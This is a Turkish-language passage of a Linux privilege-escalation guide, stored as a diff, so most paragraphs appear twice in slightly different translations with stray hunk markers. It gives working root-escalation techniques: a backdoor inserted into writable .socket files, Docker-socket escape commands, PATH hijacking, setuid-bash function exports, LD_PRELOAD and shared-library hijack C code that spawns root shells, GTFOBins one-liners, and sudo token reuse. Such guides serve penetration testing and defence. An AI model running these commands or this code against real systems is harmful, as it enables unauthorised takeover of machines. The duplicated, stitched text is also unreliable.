> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" olmayan bir birim adıdır. Belirtilmezse, bu değer zamanlayıcı biriminin adı hariç aynı isme sahip bir hizmete varsayılan olarak ayarlanır. (Yukarıya bakınız.) Etkinleştirilen birim adının ve zamanlayıcı biriminin birim adının, sonek hariç olmak üzere aynı şekilde adlandırılması önerilir.
Bu izni kötüye kullanmak için şunlara ihtiyacınız olacaktır:
* **Yazılabilir bir ikili dosya yürüten** bir systemd birimi (örneğin `.service`) bulun
* **Göreceli bir yol yürüten** ve **systemd PATH** üzerinde **yazma izinleriniz** olan bir systemd birimi bulun (o yürütülebilir dosyayı taklit etmek için)
* **Göreceli bir yol yürüten** ve **sisteminizde yazma izinleriniz** olan **systemd YOLU** üzerinde **yürütülebilir dosyayı taklit etmek** için yazma izinleriniz olan bir systemd birimi bulun
**Zamanlayıcılar hakkında daha fazla bilgi için `man systemd.timer` komutunu kullanın.**
### **Zamanlayıcıyı Etkinleştirme**
Bir zamanlayıcıyı etkinleştirmek için kök ayrıcalıklarına ve şu komutu çalıştırmaya ihtiyacınız vardır:
Bir zamanlayıcıyı etkinleştirmek için kök ayrıcalıklarına ihtiyacınız vardır ve şunu yürütmeniz gerekir:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
Not alın **zamanlayıcı**, `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer` üzerinde bir sembolik bağ oluşturularak **etkinleştirilir**.
Not **:timer:** oluşturarak **etkinleştirilir** `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer` üzerine bir sembolik bağ oluşturarak.
## Soketler
Unix Domain Sockets (UDS), istemci-sunucu modelleri içinde aynı veya farklı makinelerde **işlem iletişimini** sağlar. Standart Unix tanımlayıcı dosyalarını kullanarak bilgisayarlar arası iletişim için kurulurlar ve `.socket` dosyaları aracılığıyla yapılandırılırlar.
Unix Domain Sockets (UDS), istemci-sunucu modelleri içinde aynı veya farklı makinelerde **işlem iletişimini** sağlar. İnter-bilgisayar iletişimi için standart Unix tanımlayıcı dosyalarını kullanır ve `.socket` dosyaları aracılığıyla kurulur.
Soketler, `.socket` dosyaları kullanılarak yapılandırılabilir.
Soketler `.socket` dosyaları kullanılarak yapılandırılabilir.
Soketler hakkında daha fazla bilgi için `man systemd.socket` komutunu kullanın. Bu dosya içinde birkaç ilginç parametre yapılandırılabilir:
**Soketler hakkında daha fazla bilgi edinin `man systemd.socket`.** Bu dosya içinde birkaç ilginç parametre yapılandırılabilir:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak bir özet, sokete **nerede dinleyeceğini belirtmek** için kullanılır (AF\_UNIX soket dosyasının yolu, dinlemek için IPv4/6 ve/veya port numarası vb.).
- `Accept`: Bir mantıksal argüman alır. Eğer **true** ise, her gelen bağlantı için bir **hizmet örneği başlatılır** ve sadece bağlantı soketi ona iletilir. Eğer **false** ise, tüm dinleme soketleri kendileri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi başlatılır. Bu değer, tek bir hizmet biriminin tüm gelen trafiği koşulsuz olarak ele aldığı datagram soketleri ve FIFO'lar için göz ardı edilir. **Varsayılan olarak false**. Performans nedeniyle, yeni daemon'ların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir.
- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırını alır, bu komutlar dinleme **soketleri**/FIFO'lar **oluşturulmadan önce** veya **sonra** yürütülür ve bağlanır. Komut satırının ilk belirteci mutlaka mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelmelidir.
- `ExecStopPre`, `ExecStopPost`: Dinleme **soketleri**/FIFO'lar **kapatılmadan önce** veya **sonra** yürütülen ek **komutlar**.
- `Service`: Gelen trafiği **etkinleştirmek için** **hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için izin verilir. Varsayılan olarak, aynı adı taşıyan hizmeti belirtir (sonek değiştirilmiş olarak). Çoğu durumda, bu seçeneği kullanmanın gerekli olmaması gerekmektedir.
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak bir özet, sokete **nerede dinleyeceğini belirtmek** için kullanılır (AF\_UNIX soket dosyasının yolu, dinlemek için IPv4/6 ve/veya port numarası vb.).
* `Accept`: Bir boolean argüman alır. **true** ise, her gelen bağlantı için bir **hizmet örneği başlatılır** ve yalnızca bağlantı soketi ona iletilir. **false** ise, tüm dinleme soketleri kendileri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi başlatılır. Bu değer, tek bir hizmet biriminin tüm gelen trafiği koşulsuz olarak ele aldığı veri yuvaları ve FIFO'lar için yoksayılır. **Varsayılan olarak false**. Performans nedenlerinden dolayı, yeni daemon'ların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir.
* `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır, bunlar dinleme **soketlerinden önce** veya **sonra** yürütülür/FIFO'lar **oluşturulur** ve bağlanır. Komut satırının ilk belirteci mutlaka mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelmelidir.
* `ExecStopPre`, `ExecStopPost`: Dinleme **soketlerinden önce** veya **sonra** ek **komutlar** yürütülür/FIFO'lar **kapatılır** ve kaldırılır.
* `Service`: Gelen trafiği **etkinleştirmek için hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için izin verilir. Varsayılan olarak, aynı adı taşıyan hizmeti belirtir (soneki değiştirilmiş olarak). Çoğu durumda, bu seçeneği kullanmanın gerekli olmaması gerekir.
### Yazılabilir .socket dosyaları
Eğer **yazılabilir** bir `.socket` dosyası bulursanız, `[Socket]` bölümünün başına şöyle bir şey ekleyebilirsiniz: `ExecStartPre=/home/kali/sys/backdoor` ve soket oluşturulmadan önce arka kapı çalıştırılacaktır. Bu nedenle, muhtemelen makinenin yeniden başlatılmasını **beklemeniz gerekecektir.**\
_Not: Sistem o soket dosyası yapılandırmasını kullanıyor olmalı veya arka kapı çalıştırılmayacaktır_
Eğer **yazılabilir** bir `.socket` dosyası bulursanız, `[Socket]` bölümünün başına şöyle bir şey ekleyebilirsiniz: `ExecStartPre=/home/kali/sys/backdoor` ve arka kapı soket oluşturulmadan önce yürütülecektir. Bu nedenle, muhtemelen makinenin yeniden başlatılmasını **beklemeniz gerekebilir.**\
_Not: Sistem o soket dosyası yapılandırmasını kullanıyor olmalı veya arka kapı yürütülmeyecektir_
### Yazılabilir soketler
Eğer **yazılabilir bir soket** belirlerseniz (_şu anda Unix Soketleri hakkında konuşuyoruz ve yapılandırma `.socket` dosyaları hakkında değil_), o soketle **iletişim kurabilir** ve belki bir zafiyeti sömürebilirsiniz.
Eğer **herhangi bir yazılabilir soket** belirlerseniz (_şu anda Unix Soketleri hakkında konuşuyoruz ve `.socket` dosyaları yapılandırması hakkında değil_), o soketle **iletişim kurabilir** ve belki bir zafiyeti sömürebilirsiniz.
### Unix Soketlerini Sırala
```bash
@ -514,7 +513,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
### Yazılabilir Docker Soketi
Docker soketi, genellikle `/var/run/docker.sock` konumunda bulunur ve güvenli bir şekilde korunmalıdır. Varsayılan olarak, bu soket `root` kullanıcısı ve `docker` grubundaki üyeler tarafından yazılabilir durumdadır. Bu sokete yazma erişiminin olması, ayrıcalık yükseltmeye yol açabilir. İşte bunun nasıl yapılabileceğine ve Docker CLI kullanılamıyorsa alternatif yöntemlere dair ayrıntılar:
Docker soketi, genellikle `/var/run/docker.sock` konumunda bulunan ve güvenli olması gereken kritik bir dosyadır. Varsayılan olarak, bu dosya `root` kullanıcısı ve `docker` grubundaki üyeler tarafından yazılabilir durumdadır. Bu sokete yazma erişiminin olması, ayrıcalık yükseltmeye yol açabilir. Bunun nasıl yapılabileceği ve Docker CLI kullanılamıyorsa alternatif yöntemler aşağıda açıklanmıştır.
#### **Docker CLI ile Ayrıcalık Yükseltme**
@ -523,11 +522,11 @@ Eğer Docker soketine yazma erişiminiz varsa, aşağıdaki komutları kullanara
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
Bu komutlar, ana bilgisayar dosya sisteminde kök düzey erişime sahip bir konteyneri çalıştırmanıza olanak tanır.
Bu komutlar, ana bilgisayar dosya sisteminin kök düzey erişimine sahip bir konteyneri çalıştırmanıza olanak tanır.
#### **Docker API'sını Doğrudan Kullanma**
Docker CLI kullanılamadığında Docker API'si ve `curl` komutları kullanılarak Docker soketi manipüle edilebilir.
Docker CLI kullanılamadığında Docker soketi, Docker API ve `curl` komutları kullanılarak hala manipüle edilebilir.
1. **Docker Görüntülerini Listeleme:** Mevcut görüntülerin listesini alın.
@ -545,7 +544,7 @@ Yeni oluşturulan konteyneri başlatın:
```bash
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
```
3. **Konteynere Bağlanma:** `socat` kullanarak bir bağlantı kurarak konteynere komut yürütme imkanı sağlayın.
3. **Konteynere Bağlanma:** `socat` kullanarak bir bağlantı kurarak, içinde komut yürütme imkanı sağlayan bir bağlantı oluşturun.
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
@ -555,13 +554,13 @@ Connection: Upgrade
Upgrade: tcp
```
`socat` bağlantısını kurduktan sonra, kök düzey erişimine sahip olarak ana bilgisayar dosya sisteminde doğrudan komutları konteynerde yürütebilirsiniz.
`socat` bağlantısını kurduktan sonra, ana bilgisayar dosya sisteminin kök düzey erişimine sahip olarak konteynerde doğrudan komutlar yürütebilirsiniz.
### Diğerleri
Docker soketi üzerinde yazma izinleriniz varsa çünkü **`docker` grubu içindesiniz**, [**ayrıcalıkları yükseltmek için daha fazla yolunuz olabilir**](interesting-groups-linux-pe/#docker-group). [**Docker API'nin bir portta dinlediği durumda, bunu tehlikeye atabilirsiniz**](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Docker'dan kaçmak veya ayrıcalıkları yükseltmek için **daha fazla yol** için kontrol edin:
Docker'dan kaçmak veya ayrıcalıkları yükseltmek için **daha fazla yolunuzu kırmak için** kontrol edin:
{% content-ref url="docker-security/" %}
[docker-security](docker-security/)
@ -585,13 +584,13 @@ Eğer **`runc`** komutunu kullanabildiğinizi fark ederseniz, **ayrıcalıkları
## **D-Bus**
D-Bus, uygulamaların etkili bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan sofistike bir **İşlem Arası İletişim (IPC) sistemi**dir. Modern Linux sistemi göz önünde bulundurularak tasarlanmış olup, farklı uygulama iletişimi için sağlam bir çerçeve sunar.
D-Bus, uygulamaların etkili bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan sofistike bir **İşlem Arası İletişim (IPC) sistemi**dir. Modern Linux sistemi göz önünde bulundurularak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar.
Sistem, işlemler arası veri alışverişini artıran temel IPC'yi destekler ve **gelişmiş UNIX alan soketlerini** hatırlatan olayları veya sinyalleri yayınlamaya yardımcı olur, sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth hizmetinden gelen bir arama sinyali, müzik çaların sessizleşmesine neden olabilir, kullanıcı deneyimini artırır. Ayrıca, D-Bus, uygulamalar arasında hizmet isteklerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler, geleneksel olarak karmaşık olan süreçleri basitleştirir.
Sistem, işlem arası iletişimi geliştiren temel IPC'yi destekler ve veri alışverişini artırır, **gelişmiş UNIX etki alanı soketlerini** hatırlatır. Ayrıca olayları veya sinyalleri yayınlamaya yardımcı olur, sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth hizmetinden gelen bir arama sinyali, bir müzik çaların sessizleşmesine neden olabilir, kullanıcı deneyimini artırır. Ayrıca, D-Bus, hizmet isteklerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler, geleneksel olarak karmaşık olan süreçleri basitleştirir.
D-Bus, eşleşen politika kurallarının kümülatif etkisine dayanarak mesaj izinlerini (yöntem çağrıları, sinyal yayınları vb.) yöneten bir **izin/engelleme modeli** üzerinde çalışır. Bu politikalar, otobüsle etkileşimleri belirtir ve bu izinlerin kötüye kullanılmasıyla ayrıcalık yükseltmesine olanak tanır.
D-Bus, mesaj izinlerini (yöntem çağrıları, sinyal yayınları vb.) eşleşen politika kurallarının kümülatif etkisine dayanarak yöneten bir **izin/izin verme modeli** üzerinde çalışır. Bu politikalar, otobüsle etkileşimleri yönetir ve bu izinlerin sömürülmesi yoluyla ayrıcalık yükseltmesine olanak tanır.
Örneğin, `/etc/dbus-1/system.d/wpa_supplicant.conf` dosyasındaki bir politika, kök kullanıcısının `fi.w1.wpa_supplicant1`'e ait mesajları sahiplenme, gönderme ve alma izinlerini detaylandırır.
Örneğin, `/etc/dbus-1/system.d/wpa_supplicant.conf` dosyasındaki bir politika, kök kullanıcısının `fi.w1.wpa_supplicant1`'e ait mesajları sahiplenme, gönderme ve almasına ilişkin izinleri detaylandırır.
Belirli bir kullanıcı veya grup belirtilmeyen politikalar evrensel olarak uygulanırken, "varsayılan" bağlam politikaları, diğer belirli politikalarla kapsanmayan tüm uygulamalar için geçerlidir.
```xml
@ -637,14 +636,14 @@ lsof -i
```
### Açık Portlar
Her zaman, erişmeden önce etkileşimde bulunamadığınız makinede çalışan ağ servislerini kontrol edin:
Her zaman, erişmeden önce etkileşimde bulunamadığınız makinede çalışan ağ hizmetlerini kontrol edin:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
```
### Sniffing
Trafik dinleyebilir misiniz kontrol edin. Eğer yapabiliyorsanız, bazı kimlik bilgilerini ele geçirebilirsiniz.
Trafik dinleyebildiğinizi kontrol edin. Eğer yapabiliyorsanız, bazı kimlik bilgilerini ele geçirebilirsiniz.
```
timeout 1 tcpdump
```
@ -652,7 +651,7 @@ timeout 1 tcpdump
### Genel Sıralama
Kendiniz **kim** olduğunuzu, hangi **yetkilere** sahip olduğunuzu, sistemlerde hangi **kullanıcıların** bulunduğunu, hangilerinin **giriş yapabileceğini** ve hangilerinin **kök yetkilerine** sahip olduğunu kontrol edin:
Kendinizin kim olduğunu, hangi ayrıcalıklara sahip olduğunuzu, sistemlerde hangi kullanıcıların bulunduğunu, hangilerinin giriş yapabileceğini ve hangilerinin kök ayrıcalıklarına sahip olduğunu kontrol edin:
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@ -689,7 +688,7 @@ Kök ayrıcalıklarını size verebilecek **bazı grup üyesi** olup olmadığı
### Pano
Pano içinde ilginç bir şey olup olmadığını kontrol edin (mümkünse)
Panoda ilginç bir şey olup olmadığını kontrol edin (mümkünse)
```bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
@ -706,18 +705,18 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
```
### Bilinen şifreler
Eğer ortamın **herhangi bir şifresini biliyorsanız**, her bir kullanıcı olarak giriş yapmaya çalışın **kullanıcı**.
Eğer ortamın **herhangi bir şifresini biliyorsanız**, her bir kullanıcı olarak giriş yapmaya çalışın.
### Su Brute
Eğer çok fazla gürültü yapmaktan çekinmiyorsanız ve bilgisayarda `su` ve `timeout` ikilisi mevcutsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanarak kullanıcıyı brute-force deneyebilirsiniz.\
Eğer çok fazla gürültüye neden olmaktan çekinmiyorsanız ve bilgisayarda `su` ve `timeout` ikilisi bulunuyorsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanarak kullanıcıyı brute-force deneyebilirsiniz.\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite), `-a` parametresi ile kullanıcıları brute-force denemeye çalışır.
## Yazılabilir PATH kötüye kullanımları
### $PATH
Eğer $PATH'in içindeki bazı klasörlere **yazabileceğinizi** fark ederseniz, **yazılabilir klasörün içine geri kapı oluşturarak** ayrı bir kullanıcı (genellikle root) tarafından çalıştırılacak bazı komutların adını oluşturarak ayrıcalıkları yükseltebilirsiniz ve bu komutun $PATH'teki yazılabilir klasörünüzden önceki bir klasörden yüklenmediğinden emin olabilirsiniz.
Eğer $PATH'in içindeki bazı klasörlere **yazabileceğinizi** fark ederseniz, **yazılabilir klasörün içine geri kapı oluşturarak** ayrı bir kullanıcı (genellikle root) tarafından çalıştırılacak bazı komutların adını taşıyan bir geri kapı oluşturarak ayrıcalıkları yükseltebilirsiniz ve bu komutun $PATH içindeki yazılabilir klasörünüzden önce yer almayan bir klasörden yüklenmediğinden emin olabilirsiniz.
### SUDO ve SUID
@ -761,7 +760,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Sudo yürütme yollarını atlayarak
Diğer dosyaları okumak için **atla** veya **sembolik bağlantılar** kullan. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_
Diğer dosyaları okumak veya sembolik bağlantıları kullanmak için **atla**. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@ -778,9 +777,9 @@ sudo less /var/log/something /etc/shadow #Red 2 files
```
**Karşı önlemler**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
### Sudo komutu/SUID ikili dosya yolu belirtilmeden
### Sudo komutu/SUID ikili dosyası komut yolu belirtilmeden
Eğer **sudo izni** tek bir komuta **yol belirtilmeden verilmişse**: _hacker10 ALL= (root) less_ PATH değiştirilerek bunu sömürülebilirsiniz.
Eğer **sudo izni** bir komuta **yol belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değiştirilerek bunu sömürülebilirsiniz.
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
@ -792,23 +791,23 @@ Bu teknik ayrıca bir **suid** ikili dosyasının **yolunu belirtmeden başka bi
### Komut yolunu belirten SUID ikili dosya
Eğer **suid** ikili dosyası **yolu belirterek başka bir komutu çalıştırıyorsa**, o zaman, suid dosyanın çağırdığı komut adında bir **fonksiyon ihraç etmeyi** deneyebilirsiniz.
Eğer **suid** ikili dosyası **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman, suid dosyanın çağırdığı komut adında bir **fonksiyon ihraç etmeyi** deneyebilirsiniz.
Örneğin, bir suid ikilisi _**/usr/sbin/service apache2 start**_ komutunu çağırıyorsa, bu fonksiyonu oluşturup ihraç etmeyi denemelisiniz:
Örneğin, bir suid ikili dosya _**/usr/sbin/service apache2 start**_ komutunu çağırıyorsa, bu fonksiyonu oluşturup ihraç etmeyi denemelisiniz:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
### LD\_PRELOAD & **LD\_LIBRARY\_PATH**
**LD\_PRELOAD** çevresel değişkeni, yükleyicinin diğer tüm kütüphanelerden önce, standart C kütüphanesi (`libc.so`) dahil olmak üzere belirtilen bir veya daha fazla paylaşılan kütüphaneyi (.so dosyaları) yüklemek için kullanılır. Bu işlem, bir kütüphaneyi önceden yükleme olarak bilinir.
**LD\_PRELOAD** çevresel değişkeni, yükleyicinin diğer tüm kütüphanelerden önce, özellikle `libc.so` gibi standart C kütüphanesinden önce yüklenmesi gereken bir veya daha fazla paylaşılan kütüphane (.so dosyaları) belirtmek için kullanılır. Bu işlem, bir kütüphanenin önceden yüklenmesi olarak bilinir.
Ancak, sistem güvenliğini korumak ve özellikle **suid/sgid** yürütülebilir dosyalarla bu özelliğin kötüye kullanılmasını önlemek için sistem belirli koşulları zorlar:
* Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkili kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilir dosyalarda **LD\_PRELOAD**'u yok sayar.
* Suid/sgid'li yürütülebilir dosyalar için, yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler önceden yüklenir.
- Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkin kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilir dosyalarda **LD\_PRELOAD**'u yok sayar.
- Suid/sgid'li yürütülebilir dosyalar için, yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler önceden yüklenir.
Ayrıcalık yükseltmesi, `sudo` ile komutları yürütme yeteneğine sahipseniz ve `sudo -l` çıktısı **env\_keep+=LD\_PRELOAD** ifadesini içeriyorsa meydana gelebilir. Bu yapılandırma, **LD\_PRELOAD** çevresel değişkeninin kalmasına ve `sudo` ile komutlar çalıştırıldığında tanınmasına izin verir, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla keyfi kodun yürütülmesine yol açabilir.
Ayrıcalık yükseltmesi, `sudo` ile komutları yürütme yeteneğine sahipseniz ve `sudo -l` çıktısı **env\_keep+=LD\_PRELOAD** ifadesini içeriyorsa meydana gelebilir. Bu yapılandırma, **LD\_PRELOAD** çevresel değişkeninin kalıcı olmasına ve `sudo` ile komutlar çalıştırıldığında tanınmasına izin verir, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla keyfi kodun yürütülmesine yol açabilir.
```
Defaults env_keep += LD_PRELOAD
```
@ -825,17 +824,17 @@ setuid(0);
system("/bin/bash");
}
```
Ardından **derleyin** kullanarak:
Ardından şunu kullanarak derleyin:
```bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
Son olarak, **ayrıcalıkları yükseltin** çalıştırarak
Son olarak, **izinleri yükseltin** çalıştırarak.
```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
{% hint style="danger" %}
Benzer bir ayrıcalık yükseltme saldırısı, saldırganın kütüphanelerin aranacağı yolunu kontrol ettiği **LD\_LIBRARY\_PATH** çevresel değişkeni kontrol ediyorsa istismar edilebilir.
Benzer bir ayrıcalık yükseltme saldırısı, saldırganın kütüphanelerin aranacağı yolunu kontrol ettiği için **LD\_LIBRARY\_PATH** çevresel değişkenini kontrol ediyorsa istismar edilebilir.
{% endhint %}
```c
#include <stdio.h>
@ -862,9 +861,9 @@ Eğer normalden farklı görünen **SUID** izinlerine sahip bir ikili dosya ile
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
Örneğin, _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak, bir zafiyet potansiyelini işaret edebilir.
Örneğin, _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak, sömürü potansiyeli olduğunu düşündürür.
Bunu sömürmek için, aşağıdaki kodu içeren bir C dosyası oluşturarak devam edilir:
Bunu sömürmek için, aşağıdaki kodu içeren bir C dosyası oluşturarak devam edilir, diyelim ki _"/path/to/.config/libcalc.c"_:
```c
#include <stdio.h>
#include <stdlib.h>
@ -875,9 +874,9 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
Bu kod, derlendikten ve çalıştırıldıktan sonra dosya izinlerini manipüle ederek ve yüksek ayrıcalıklarla bir kabuk çalıştırarak ayrıcalıkları yükseltmeyi amaçlar.
Bu kod, derlendikten ve çalıştırıldıktan sonra dosya izinlerini manipüle ederek ayrıcalıkları yükseltmeyi ve yükseltilmiş ayrıcalıklarla bir kabuk çalıştırmayı amaçlar.
Yukarıdaki C dosyasını paylaşılan bir nesne (.so) dosyasına derlemek için:
Yukarıdaki C dosyasını paylaşılan nesne (.so) dosyasına derlemek için:
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
@ -893,7 +892,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
Şimdi yazabileceğimiz bir klasörden bir kütüphane yükleyen bir SUID ikili bulduk, o klasörde gerekli isme sahip kütüphaneyi oluşturalım:
Şimdi yazma iznimizin olduğu bir klasörden bir kütüphane yükleyen bir SUID ikili bulduğumuza göre, o klasörde gerekli isme sahip kütüphaneyi oluşturalım:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
@ -916,7 +915,7 @@ Bu, oluşturduğunuz kütüphanenin `a_function_name` adında bir işlev içerme
[**GTFOBins**](https://gtfobins.github.io), bir saldırganın yerel güvenlik kısıtlamalarını atlamak için kullanabileceği Unix ikililerinin derlenmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/), yalnızca bir komuta argüman enjekte edebileceğiniz durumlar için aynı işlevi görür.
Proje, Unix ikililerinin meşru işlevlerini toplar ve bunların kısıtlı kabuklardan kaçınmak, ayrıcalıkları yükseltmek veya sürdürmek, dosyaları transfer etmek, bağlama ve ters kabuklar oluşturmak ve diğer son aşama saldırı görevlerini kolaylaştırmak için kötüye kullanılabileceği durumları içerir.
Proje, kısıtlanmış kabuklardan kaçınmak, ayrıcalıkları yükseltmek veya sürdürmek, dosyaları transfer etmek, bağlama ve ters kabuklar oluşturmak ve diğer son aşama saldırı görevlerini kolaylaştırmak için Unix ikililerinin meşru işlevlerini toplar.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@ -929,20 +928,20 @@ Proje, Unix ikililerinin meşru işlevlerini toplar ve bunların kısıtlı kabu
### FallOfSudo
`sudo -l`'ye erişebiliyorsanız, [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) adlı aracı kullanarak herhangi bir sudo kuralını nasıl kötüye kullanabileceğinizi kontrol edebilirsiniz.
`sudo -l`'ye erişebiliyorsanız, [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanarak herhangi bir sudo kuralını nasıl sömürüleceğini kontrol edebilirsiniz.
### Sudo Token'larını Tekrar Kullanma
**Sudo erişiminiz** var ancak şifreniz yoksa, **bir sudo komutunun yürütülmesini bekleyerek ve ardından oturum belirtecinin ele geçirilmesiyle** ayrıcalıkları yükseltebilirsiniz.
**Sudo erişiminiz** var ancak şifreniz yoksa, **bir sudo komutu yürütülmesini bekleyerek ve ardından oturum belirtecinin ele geçirilmesiyle** ayrıcalıkları yükseltebilirsiniz.
Ayrıcalıkları yükseltmek için gereksinimler:
* Zaten "_sampleuser_" kullanıcısı olarak bir kabuğunuz var
* "_sampleuser_" **son 15 dakika içinde `sudo` kullanmış** (varsayılan olarak, şifre gerektirmeden `sudo` kullanmamıza izin veren sudo belirtecinin süresi budur)
* `cat /proc/sys/kernel/yama/ptrace_scope` değeri 0
* `gdb` erişilebilir durumda (yükleme yapabilmelisiniz)
* "_sampleuser_"'ın **son 15 dakika içinde `sudo`** kullanmış olması (varsayılan olarak, şifre gerektirmeden `sudo` kullanmamıza izin veren sudo belirtecinin süresi budur)
* `cat /proc/sys/kernel/yama/ptrace_scope` değeri 0 olmalı
* `gdb` erişilebilir olmalı (yükleme yapabilmelisiniz)
(Bu gereksinimlerin tümü karşılanıyorsa, **şu adresten ayrıcalıkları yükseltebilirsiniz:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject))
(Bu gereksinimlerin tümü karşılanıyorsa, **aşağıdaki kullanarak ayrıcalıkları yükseltebilirsiniz:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject)
* **İlk saldırı** (`exploit.sh`), `activate_sudo_token` adlı ikili dosyayı _/tmp/_ dizininde oluşturacaktır. Bu dosyayı kullanarak **oturumunuzda sudo belirtecini etkinleştirebilirsiniz** (otomatik olarak kök kabuğa erişmeyeceksiniz, `sudo su` komutunu kullanın):
```bash
@ -963,14 +962,14 @@ sudo su
### /var/run/sudo/ts/\<Kullanıcı Adı>
Eğer klasörde veya klasör içinde oluşturulan dosyalardan herhangi birinde **yazma izinleriniz** varsa, [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) adlı ikili dosyayı kullanarak **bir kullanıcı ve PID için sudo belirteci oluşturabilirsiniz**.\
Örneğin, _/var/run/sudo/ts/örnekkullanıcı_ dosyasını üzerine yazabilir ve PID'si 1234 olan o kullanıcı olarak kabuk erişiminiz varsa, şifreyi bilmeden sudo ayrıcalıklarını **elde edebilirsiniz**.
Örneğin, _/var/run/sudo/ts/örnekkullanıcı_ dosyasını üzerine yazabilir ve PID'si 1234 olan o kullanıcı olarak bir kabuk elde ettiyseniz, şifreyi bilmeden sudo ayrıcalıklarını **elde edebilirsiniz**.
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
### /etc/sudoers, /etc/sudoers.d
Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar, kimin `sudo` kullanabileceğini ve nasıl kullanabileceğini yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\
